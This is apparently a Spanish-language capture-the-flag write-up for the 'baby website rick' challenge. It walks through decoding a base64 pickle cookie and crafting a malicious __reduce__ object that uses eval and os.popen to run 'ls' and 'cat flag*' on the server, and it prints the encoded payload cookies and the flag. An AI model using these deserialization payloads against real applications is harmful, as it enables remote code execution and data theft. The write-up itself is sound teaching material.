baby website rick
3 minutos de lectura
Se nos proporciona esta página web:
Analizando el sitio web
Esta vez, no tenemos código fuente para analizar. Sin embargo, la imagen de arriba muestra algo sospechoso:
<__main__.anti_pickle_serum object at 0x7f0ed62d1810>
Esto parece una clase de Python:
$ python3 -q
>>> class Test():
... pass
...
>>> Test()
<__main__.Test object at 0x1007fbd30>
También, tenemos una cookie llamada plan_b
:
Esto parece una cadena codificada en Base64:
>>> from base64 import b64encode as b64e, b64decode as b64d
>>> b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu')
b"(dp0\nS'serum'\np1\nccopy_reg\n_reconstructor\np2\n(c__main__\nanti_pickle_serum\np3\nc__builtin__\nobject\np4\nNtp5\nRp6\ns."
Y esto tiene pinta de ser un objeto serializado. En Python, la forma típica de serializar objetos es con pickle
. Intentemos deserializarlo:
>>> import pickle
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: Can't get attribute 'anti_pickle_serum' on <module '__main__' (built-in)>
Pero salta un error porque anti_pickle_serum
no está definido. Podemos definirlo como una lista, por ejemplo:
>>> anti_pickle_serum = []
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/opt/homebrew/Cellar/python@3.10/3.10.9/Frameworks/Python.framework/Versions/3.10/lib/python3.10/copyreg.py", line 49, in _reconstructor
obj = object.__new__(cls)
TypeError: object.__new__(X): X is not a type object (list)
Ahora tenemos un error diferente, que muestra que anti_pickle_serum
tiene que ser un objeto:
>>> class anti_pickle_serum():
... pass
...
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
{'serum': <__main__.anti_pickle_serum object at 0x100d0e2f0>}
Ahora vemos que el objeto serializado es este diccionario: {'serum': anti_pickle_serum()}
:
>>> {'serum': anti_pickle_serum()}
{'serum': <__main__.anti_pickle_serum object at 0x1007fbd30>}
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}))
b'gASVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
Sin embargo, observe que la cadena serializada anterior es muy diferente a la que proviene del sitio web. Si miramos la documentación de pickle.dumps
, descubrimos que hay distintos protocolos (desde 0
hasta 5
):
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnAyCihjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcDMKY19fYnVpbHRpbl9fCm9iamVjdApwNApOdHA1ClJwNgpzLg=='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=1))
b'fXEAWAUAAABzZXJ1bXEBY2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnECKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpxA2NfX2J1aWx0aW5fXwpvYmplY3QKcQROdHEFUnEGcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=2))
b'gAJ9cQBYBQAAAHNlcnVtcQFjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcQIpgXEDcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=3))
b'gAN9cQBYBQAAAHNlcnVtcQFjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcQIpgXEDcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=4))
b'gASVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=5))
b'gAWVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
El resultado obtenido con protocol=0
se asemeja a la cookie.
Probando la deserialización
Veamos si podemos modificar algo en el sitio web:
>>> b64e(pickle.dumps({'serum': 'asdf'}, protocol=0))
b'KGRwMApWc2VydW0KcDEKVmFzZGYKcDIKcy4='
Si ponemos esta cookie y actualizamos la página, deberíamos ver asdf
, en lugar de la referencia al objeto anti_pickle_serum
:
Entonces, hemos encontrado una forma de mostrar datos controlados en el sitio web.
Dado que la aplicación está construida con Python, es probable que use Flask. Por lo tanto, intentemos explotar un Server-Side Template Injection (SSTI):
>>> b64e(pickle.dumps({'serum': '{{7*7}}'}, protocol=0))
b'KGRwMApWc2VydW0KcDEKVnt7Nyo3fX0KcDIKcy4='
Pero no es vulnerable, ya que vemos exactamente {{7*7}}
en vez de 49
:
Explotación de pickle
Por lo tanto, debemos explotar el hecho de que el servidor usa pickle.loads
para deserializar la cookie. Es bien sabido que pickle
es vulnerable a deserialización insegura (más información aquí). Solo necesitamos crear un objeto como el siguiente y serializarlo como antes:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('7*7', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFY3KjcKcDMKdHA0ClJwNQpzLg=='
Si establecemos la cookie anterior, conseguimos ejecutar código Python con eval
en el servidor y mostrar el resultado en la página:
Por lo tanto, escalemos a ejecución remota de comandos (Remote Code Execution, RCE) y ejecutemos ls
a nivel de sistema:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('__import__("os").popen("ls").read()', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFZfX2ltcG9ydF9fKCJvcyIpLnBvcGVuKCJscyIpLnJlYWQoKQpwMwp0cDQKUnA1CnMu'
Como se puede ver, tenemos el nombre de archivo de la flag (flag_wlp1b
), por lo que ya podemos leerlo.
Flag
En lugar de usar el nombre de archivo completo, podemos usar un wildcard:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('__import__("os").popen("cat flag*").read()', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFZfX2ltcG9ydF9fKCJvcyIpLnBvcGVuKCJjYXQgZmxhZyoiKS5yZWFkKCkKcDMKdHA0ClJwNQpzLg=='
Y aquí tenemos la flag: HTB{g00d_j0b_m0rty...n0w_I_h4v3_to_g0_to_f4m1ly_th3r4py..}
.